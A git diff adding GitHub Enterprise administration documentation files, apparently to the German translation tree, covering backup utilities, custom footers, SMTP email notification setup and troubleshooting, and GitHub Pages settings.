+To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.location.product_location %}.
+
+You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data.
+
+We recommend that the backup host and {% data variables.location.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site.
+
+Physical storage requirements will vary based on Git repository disk usage and expected growth patterns:
+
+| Hardware | Recommendation |
+| -------- | --------- |
+| **vCPUs**  | 2 |
+| **Memory** | 2 GB |
+| **Storage** | Five times the primary instance's allocated storage |
+
+More resources may be required depending on your usage, such as user activity and selected integrations.
+
+For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %} requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+## Installing {% data variables.product.prodname_enterprise_backup_utilities %}
+
+To install {% data variables.product.prodname_enterprise_backup_utilities %} on your backup host, we recommend cloning the project's Git repository. This approach allows you to fetch new releases directly using Git, and your existing backup configuration file, `backup.config`, will be preserved when installing a new version.
+
+Alternatively, if the host machine can't access the internet, you can download each {% data variables.product.prodname_enterprise_backup_utilities %} release as a compressed archive, then extract and install the contents. For more information, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+Backup snapshots are written to the disk path set by the `GHE_DATA_DIR` data directory variable in your `backup.config` file. Snapshots need to be stored on a filesystem which supports symbolic and hard links.
+
+{% note %}
+
+**Note:** We recommend ensuring your snapshots are not kept in a subdirectory of the {% data variables.product.prodname_enterprise_backup_utilities %} installation directory, to avoid inadvertently overwriting your data directory when upgrading {% data variables.product.prodname_enterprise_backup_utilities %} versions.
+
+{% endnote %}
+
+1. To clone the [{% data variables.product.prodname_enterprise_backup_utilities %} project repository](https://github.com/github/backup-utils/) to a local directory on your backup host, run the following command.
+
+  ```
+  $ git clone https://github.com/github/backup-utils.git /path/to/target/directory/backup-utils
+  ```
+1. To change into the local repository directory, run the following command.
+
+  ```
+  cd backup-utils
+  ```
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %}
+1. To copy the included `backup.config-example` file to `backup.config`, run the following command.
+
+   ```shell
+   cp backup.config-example backup.config
+   ```
+1. To customize your configuration, edit `backup.config` in a text editor.
+   1. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address.
+
+     {% note %}
+
+     **Note:** If {% data variables.location.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as it allows SSH access (on port 122) to {% data variables.location.product_location %}.
+
+     To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a geo-replication configuration.
+
+     {% endnote %}
+   1. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots. We recommend choosing a location on the same filesystem as your backup host, but outside of where you cloned the Git repository in step 1.
+1. To grant your backup host access to your instance, open your primary instance's settings page at `http(s)://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh)."
+1. On your backup host, verify SSH connectivity with {% data variables.location.product_location %} with the `ghe-host-check` command.
+
+  ```shell
+  ./bin/ghe-host-check
+  ```		  
+1. To create an initial full backup, run the following command.
+
+  ```shell
+  ./bin/ghe-backup
+  ```
+
+For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+## Upgrading {% data variables.product.prodname_enterprise_backup_utilities %}
+
+When upgrading {% data variables.product.prodname_enterprise_backup_utilities %}, you must choose a release that will work with your current version of {% data variables.product.product_name %}. Your installation of {% data variables.product.prodname_enterprise_backup_utilities %} must be at least the same version as {% data variables.location.product_location %}, and cannot be more than two versions ahead. For more information, see [{% data variables.product.prodname_ghe_server %} version requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md#github-enterprise-server-version-requirements) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+You can upgrade {% data variables.product.prodname_enterprise_backup_utilities %} in a Git repository by fetching and checking out the latest changes.
+
+Alternatively, if you don't use a Git repository for your installation, you can extract a new archive into place, or you can change your approach to use a Git repository instead.
+
+### Verifying the installation type
+
+You can verify the installation method for {% data variables.product.prodname_enterprise_backup_utilities %} and determine the best way to upgrade your installation.
+
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %}
+1. To check if a valid working directory exists inside a Git repository, run the following command.
+
+   ```
+   git rev-parse --is-inside-work-tree
+   ```
+
+   If the output is `true`, {% data variables.product.prodname_enterprise_backup_utilities %} was installed by cloning the project's Git repository. If the output includes `fatal: not a git repository (or any of the parent directories)`, {% data variables.product.prodname_enterprise_backup_utilities %} was likely installed by extracting a compressed archive file.
+If your installation is in a Git repository, you can install the latest version using Git. If the installation is from a compressed archive file, you can either download and extract the latest version, or you can reinstall {% data variables.product.prodname_enterprise_backup_utilities %} using Git to simplify future upgrades.
+
+- [Upgrading an installation in a Git repository](#upgrading-an-installation-in-a-git-repository)
+- [Using Git instead of compressed archives for upgrades](#using-git-instead-of-compressed-archives-for-upgrades)
+
+### Upgrading an installation in a Git repository
+
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %}
+  {% note %}
+
+  **Note:** We recommend creating a copy of your existing `backup.config` file in a temporary location, like `$HOME/backup.config`, before upgrading {% data variables.product.prodname_enterprise_backup_utilities %}.
+
+  {% endnote %}
+
+1. Download the latest project updates by running the `git fetch` command.
+
+  ```shell
+  git fetch
+  ```
+
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %}
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %}
+
+### Using Git instead of compressed archives for upgrades
+
+If your backup host has internet connectivity and you previously used a compressed archive (`.tar.gz`) to install or upgrade {% data variables.product.prodname_enterprise_backup_utilities %}, we recommend using a Git repository for your installation instead. Upgrading using Git requires less work and preserves your backup configuration.
+
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %}
+1. To back up your existing {% data variables.product.prodname_enterprise_backup_utilities %} configuration, copy your current `backup.config` file to a safe location, such as your home directory.
+
+  ```
+  $ cp backup.config $HOME/backup.config.saved-$(date +%Y%m%d-%H%M%S)
+  ```
+
+1. Change to the local directory on your backup host where you want to install the {% data variables.product.prodname_enterprise_backup_utilities %} Git repository.
+1. To clone the [project repository](https://github.com/github/backup-utils/) to the directory on your backup host, run the following command.
+
+  ```
+  git clone https://github.com/github/backup-utils.git
+  ```
+1. To change into the cloned repository, run the following command.
+
+  ```
+  cd backup-utils
+  ```
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %}
+1. To restore your backup configuration from earlier, copy your existing backup configuration file to the local repository directory. Replace the path in the command with the location of the file saved in step 2.
+
+  ```
+  $ cp PATH/TO/BACKUP/FROM/STEP/2 backup.config
+  ```
+  
+  {% note %}
+
+  **Note:** You can choose where to restore your backup configuration file to after cloning. For more information about where configuration files can be located, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+  {% endnote %}
+
+1. To confirm that the paths to directories or scripts in your backup configuration file are correct, review the file in a text editor.
+{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %}
+1. Delete your old GitHub Enterprise Server Backup Utilities directory from step 1 (where the compressed archive installation was located).
+
+## Scheduling a backup
+
+You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed.
+
+If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+
+## Restoring a backup
+
+In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.location.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance.
+
+{% note %}
+
+**Note:** When performing backup restores to {% data variables.location.product_location %}, the same version supportability rules apply. You can only restore data from at most two feature releases behind.
+
+For example, if you take a backup from {% data variables.product.product_name %} 3.0.x, you can restore the backup to a {% data variables.product.product_name %} 3.2.x instance. You cannot restore data from a backup of {% data variables.product.product_name %} 2.22.x to an instance running 3.2.x, because that would be three jumps between versions (2.22 to 3.0 to 3.1 to 3.2). You would first need to restore to an instance running 3.1.x, and then upgrade to 3.2.x.
+
+{% endnote %}
+
+To restore {% data variables.location.product_location %} from the last successful snapshot, use the `ghe-restore` command.
+
+{% note %}
+
+**Note:** Prior to restoring a backup, ensure:
+- Maintenance mode is enabled on the primary instance and all active processes have completed. For more information, see "[Enabling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)."
+- Replication is stopped on all replicas in high availability configurations. For more information, see the `ghe-repl-stop` command in "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#ghe-repl-stop)."
+- If {% data variables.location.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)."
+
+{% endnote %}
+
+When running the `ghe-restore` command, you should see output similar to this:
+
+```shell
+$ ghe-restore -c 169.154.1.1
+> Checking for leaked keys in the backup snapshot that is being restored ...
+> * No leaked keys found
+> Connect 169.154.1.1:122 OK (v2.9.0)
+
+> WARNING: All data on GitHub Enterprise appliance 169.154.1.1 (v2.9.0)
+>          will be overwritten with data from snapshot 20170329T150710.
+> Please verify that this is the correct restore host before continuing.
+> Type 'yes' to continue: <em>yes</em>
+
+> Starting restore of 169.154.1.1:122 from snapshot 20170329T150710
+# ...output truncated
+> Completed restore of 169.154.1.1:122 from snapshot 20170329T150710
+> Visit https://169.154.1.1/setup/settings to review appliance configuration.
+```
+
+{% ifversion ip-exception-list %}
+Optionally, to validate the restore, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see "[Validating changes in maintenance mode using the IP exception list](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)."
+{% endif %}
+
+{% note %}
+
+**Note:** 
+
+- The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment.
+
+- When restoring to new disks on an existing or empty {% data variables.product.prodname_ghe_server %} instance, stale UUIDs may be present, resulting in Git and/or Alambic replication reporting as out of sync. Stale server entry IDs can be the result of a retired node in a high availability configuration still being present in the application database, but not in the restored replication configuration. To remediate, stale UUIDs can be torn down using `ghe-repl-teardown` once the restore has completed and prior to starting replication. In this scenario, contact {% data variables.contact.contact_ent_support %} for further assistance.
+
+{% endnote %}
+
+You can use these additional options with `ghe-restore` command:
+- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
+- The `-s` flag allows you to select a different backup snapshot.
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
new file mode 100644
index 0000000000..98e86f0839
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
@@ -0,0 +1,40 @@
+---
+title: Konfigurieren von benutzerdefinierten Fußzeilen
+intro: 'Du kannst Benutzern einfachen Zugriff auf unternehmensspezifische Links gewähren, indem du {% data variables.product.product_name %} benutzerdefinierte Fußzeilen hinzufügst.'
+versions:
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: '>= 3.4'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+shortTitle: Configure custom footers
+ms.openlocfilehash: d051e2399841e90291de62e496c534520465235a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106947'
+---
+Unternehmensbesitzer können {% data variables.product.product_name %} so konfigurieren, dass benutzerdefinierte Fußzeilen mit bis zu fünf zusätzlichen Links angezeigt werden.
+
+![Benutzerdefinierte Fußzeile](/assets/images/enterprise/custom-footer/octodemo-footer.png)
+
+Die Anzeige der benutzerdefinierten Fußzeile erfolgt oberhalb der {% data variables.product.prodname_dotcom %}-Fußzeile {% ifversion ghes or ghae %}für alle Benutzer auf allen Seiten von {% data variables.product.product_name %}{% elsif ghec %}für alle Mitglieder und Mitarbeiter eines Unternehmens auf allen Repository- und Organisationsseiten für Repositorys und Organisationen, die zum Unternehmen gehören{% endif %}.
+
+## Konfigurieren von benutzerdefinierten Fußzeilen für dein Unternehmen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %}
+
+1. Klicke unter „Einstellungen“ auf **Profil**.
+{%- ifversion ghec %} ![Unternehmensprofileinstellungen](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png) {%- else %} ![Unternehmensprofileinstellungen](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png) {%- endif %}
+
+1. Klicke oben im Abschnitt „Profil“ auf **Benutzerdefinierte Fußzeile**.
+![Abschnitt „Benutzerdefinierte Fußzeile“](/assets/images/enterprise/custom-footer/custom-footer-section.png)
+
+1. Füge bis zu fünf Links in den angezeigten Feldern hinzu.
+![Hinzufügen von Fußzeilenlinks](/assets/images/enterprise/custom-footer/add-footer-links.png)
+
+1. Klicke auf **Benutzerdefinierte Fußzeile aktualisieren**, um den Inhalt zu speichern und die benutzerdefinierte Fußzeile anzuzeigen.
+![Aktualisieren der benutzerdefinierten Fußzeile](/assets/images/enterprise/custom-footer/update-custom-footer.png)
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
new file mode 100644
index 0000000000..d91bc49e77
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
@@ -0,0 +1,203 @@
+---
+title: Configuring email for notifications
+intro: 'To make it easy for users to respond quickly to activity on {% data variables.product.product_name %}, you can configure {% data variables.location.product_location %} to send email notifications for issue, pull request, and commit comments.'
+redirect_from:
+  - /enterprise/admin/guides/installation/email-configuration
+  - /enterprise/admin/articles/configuring-email
+  - /enterprise/admin/articles/troubleshooting-email
+  - /enterprise/admin/articles/email-configuration-and-troubleshooting
+  - /enterprise/admin/user-management/configuring-email-for-notifications
+  - /admin/configuration/configuring-email-for-notifications
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Notifications
+shortTitle: Configure email notifications
+---
+{% ifversion ghae %}
+Enterprise owners can configure email for notifications.
+{% endif %}
+## Configuring SMTP for your enterprise
+
+{% ifversion ghes %}
+{% data reusables.enterprise_site_admin_settings.email-settings %}
+4. Select **Enable email**. This will enable both outbound and inbound email, however for inbound email to work you will also need to configure your DNS settings as described below in "[Configuring DNS and firewall
+settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)."
+![Enable outbound email](/assets/images/enterprise/management-console/enable-outbound-email.png)
+5. Type the settings for your SMTP server.
+      - In the **Server address** field, type the address of your SMTP server.
+      - In the **Port** field, type the port that your SMTP server uses to send email.
+      - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any.
+      - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server.
+      - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails.      
+6. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**.
+![Checkbox to discard emails addressed to the no-reply email address](/assets/images/enterprise/management-console/discard-noreply-emails.png)
+7. Under **Support**, choose a type of link to offer additional support to your users.
+    - **Email:** An internal email address.
+    - **URL:** A link to an internal support site. You must include either `http://` or `https://`.
+  ![Support email or URL](/assets/images/enterprise/management-console/support-email-url.png)
+8. [Test email delivery](#testing-email-delivery).
+{% elsif ghae %}
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.email-tab %}
+2. Select **Enable email**.
+  !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png)
+3. Type the settings for your email server.
+    - In the **Server address** field, type the address of your SMTP server.
+    - In the **Port** field, type the port that your SMTP server uses to send email.
+    - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any.
+    - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server.
+    - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails.
+4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**.
+  !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png)
+5. Click **Test email settings**.
+  !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png)
+6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**.
+  !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png)
+7. Click **Save**.
+  !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png)
+{% endif %}
+
+{% ifversion ghes %}
+## Testing email delivery
+
+1. At the top of the **Email** section, click **Test email settings**.
+![Test email settings](/assets/images/enterprise/management-console/test-email.png)
+2. In the **Send test email to** field, type an address to send the test email to.
+![Test email address](/assets/images/enterprise/management-console/test-email-address.png)
+3. Click **Send test email**.
+![Send test email](/assets/images/enterprise/management-console/test-email-address-send.png)
+
+  {% tip %}
+
+  **Tip:** If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box.
+
+  {% endtip %}
+
+4. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery).
+5. When the test email succeeds, at the bottom of the page, click **Save settings**.
+![Save settings button](/assets/images/enterprise/management-console/save-settings.png)
+{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %}
+
+{% ifversion require-tls-for-smtp %}
+## Enforcing TLS for SMTP connections
+
+You can enforce TLS encryption for all incoming SMTP connections, which can help satisfy an ISO-27017 certification requirement.
+
+{%- ifversion ghes = 3.6 %}
+{% note %}
+
+**Note**: Enforcement of TLS for SMTP connections is unavailable in {% data variables.product.product_name %} 3.6.0 and 3.6.1. The feature is available in 3.6.2 and later.
+
+{% endnote %}
+{%- endif %}
+
+{% data reusables.enterprise_site_admin_settings.email-settings %}
+1. Under "Authentication," select **Enforce TLS auth (recommended)**.
+
+   ![Screenshot of the "Enforce TLS auth (recommended)" checkbox](/assets/images/enterprise/configuration/enforce-tls-for-smtp-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
+{% endif %}
+
+## Configuring DNS and firewall settings to allow incoming emails
+
+If you want to allow email replies to notifications, you must configure your DNS settings.
+
+1. Ensure that port 25 on the instance is accessible to your SMTP server.
+2. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`.
+3. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance.
+4. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see {% ifversion ghes %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[About email notifications](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}."
+
+## Troubleshooting email delivery
+
+### Create a Support Bundle
+
+If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in *enterprise-manage-logs/unicorn.log* for the entire SMTP conversation log and any related errors.
+
+The unicorn log should show a transaction similar to the following:
+
+```shell
+This is a test email generated from https://10.0.0.68/setup/settings
+Connection opened: smtp.yourdomain.com:587
+-> "220 smtp.yourdomain.com ESMTP nt3sm2942435pbc.14\r\n"
+<- "EHLO yourdomain.com\r\n"
+-> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n"
+-> "250-SIZE 35882577\r\n"
+-> "250-8BITMIME\r\n"
+-> "250-STARTTLS\r\n"
+-> "250-ENHANCEDSTATUSCODES\r\n"
+-> "250 PIPELINING\r\n"
+<- "STARTTLS\r\n"
+-> "220 2.0.0 Ready to start TLS\r\n"
+TLS connection started
+<- "EHLO yourdomain.com\r\n"
+-> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n"
+-> "250-SIZE 35882577\r\n"
+-> "250-8BITMIME\r\n"
+-> "250-AUTH LOGIN PLAIN XOAUTH\r\n"
+-> "250-ENHANCEDSTATUSCODES\r\n"
+-> "250 PIPELINING\r\n"
+<- "AUTH LOGIN\r\n"
+-> "334 VXNlcm5hbWU6\r\n"
+<- "dGhpc2lzbXlAYWRkcmVzcy5jb20=\r\n"
+-> "334 UGFzc3dvcmQ6\r\n"
+<- "aXRyZWFsbHl3YXM=\r\n"
+-> "535-5.7.1 Username and Password not accepted. Learn more at\r\n"
+-> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n"
+```
+
+This log shows that the appliance:
+
+* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`).
+* Successfully made a connection and chose to use TLS (`TLS connection started`).
+* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`).
+* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`).
+
+### Check {% data variables.location.product_location %} logs
+
+If you need to verify that your inbound email is functioning, there are two log files that you can examine on your instance: To verify that */var/log/mail.log* and */var/log/mail-replies/metroplex.log*.
+
+*/var/log/mail.log* verifies that messages are reaching your server. Here's an example of a successful email reply:
+
+```
+Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250]
+Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: 51DC9163323: client=st11p06mm-asmtp002.mac.com[17.172.124.250]
+Oct 30 00:47:19 54-171-144-1 postfix/cleanup[13216]: 51DC9163323: message-id=<b2b9c260-4aaa-4a93-acbb-0b2ddda68579@me.com>
+Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: from=<tcook@icloud.com>, size=5048, nrcpt=1 (queue active)
+Oct 30 00:47:19 54-171-144-1 postfix/virtual[13217]: 51DC9163323: to=<reply+i-1-1801beb4df676a79250d1e61e54ab763822c207d-5@reply.ghe.tjl2.co.ie>, relay=virtual, delay=0.12, delays=0.11/0/0/0, dsn=2.0.0, status=sent (delivered to maildir)
+Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed
+Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250]
+```
+
+Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects.
+
+*/var/log/mail-replies/metroplex.log* shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message:
+
+```
+[2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing <b2b9c260-4aaa-4a93-acbb-0b2ddda68579@me.com>
+[2014-10-30T00:47:23.333 DEBUG (5284) #] Matched /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie
+[2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success
+```
+
+You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`.{% endif %}
+
+### Verify your DNS settings
+
+In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see "[Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)."
+
+### Check firewall or AWS Security Group settings
+
+If {% data variables.location.product_location %} is behind a firewall or is being served through an AWS Security Group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`.
+
+### Contact support
+{% ifversion ghes %}
+If you're still unable to resolve the problem, contact {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem.
+{% elsif ghae %}
+You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+{% endif %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
new file mode 100644
index 0000000000..13c0a766fb
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
@@ -0,0 +1,92 @@
+---
+title: Configuring GitHub Pages for your enterprise
+intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.'
+redirect_from:
+  - /enterprise/admin/guides/installation/disabling-github-enterprise-pages
+  - /enterprise/admin/guides/installation/configuring-github-enterprise-pages
+  - /enterprise/admin/installation/configuring-github-pages-on-your-appliance
+  - /enterprise/admin/configuration/configuring-github-pages-on-your-appliance
+  - /admin/configuration/configuring-github-pages-on-your-appliance
+  - /enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise
+  - /admin/configuration/configuring-github-pages-for-your-enterprise
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Pages
+shortTitle: Configure GitHub Pages
+---
+
+{% ifversion ghes %}
+
+## Enabling public sites for {% data variables.product.prodname_pages %}
+
+If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites.
+
+{% warning %}
+
+**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public.
+
+{% endwarning %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.pages-tab %}
+4. Select **Public Pages**.
+  ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Disabling {% data variables.product.prodname_pages %} for your enterprise
+
+If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)."
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.pages-tab %}
+1. Unselect **Enable Pages**.
+  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% endif %}
+
+{% ifversion ghae %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.pages-tab %}
+1. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**.
+  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
+{% data reusables.enterprise-accounts.pages-policies-save %}
+
+{% endif %}
+
+{% ifversion ghes > 3.4 %}
+
+## Configuring {% data variables.product.prodname_pages %} response headers for your enterprise
+
+You can add or override response headers for {% data variables.product.prodname_pages %} sites hosted by {% data variables.location.product_location %}.
+
+{% warning %}
+
+**Warning:** Ensure that your response headers are properly configured before saving. Improper configurations may negatively impact the security of {% data variables.location.product_location %}.
+
+{% endwarning %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.pages-tab %}
+1. Type the headers settings, then click **Add headers**.
+   - In the **Http Header Name** field, type the header name. The length of header name should less than 128 characters.
+   - In the **Http Header Value** field, type the header value. The length of header value should less than 300 characters.
+![The {% data variables.product.prodname_pages %} response header name and value fields in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/pages-override-header-section.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% endif %}
+
+{% ifversion ghes %}
+## Further reading
+
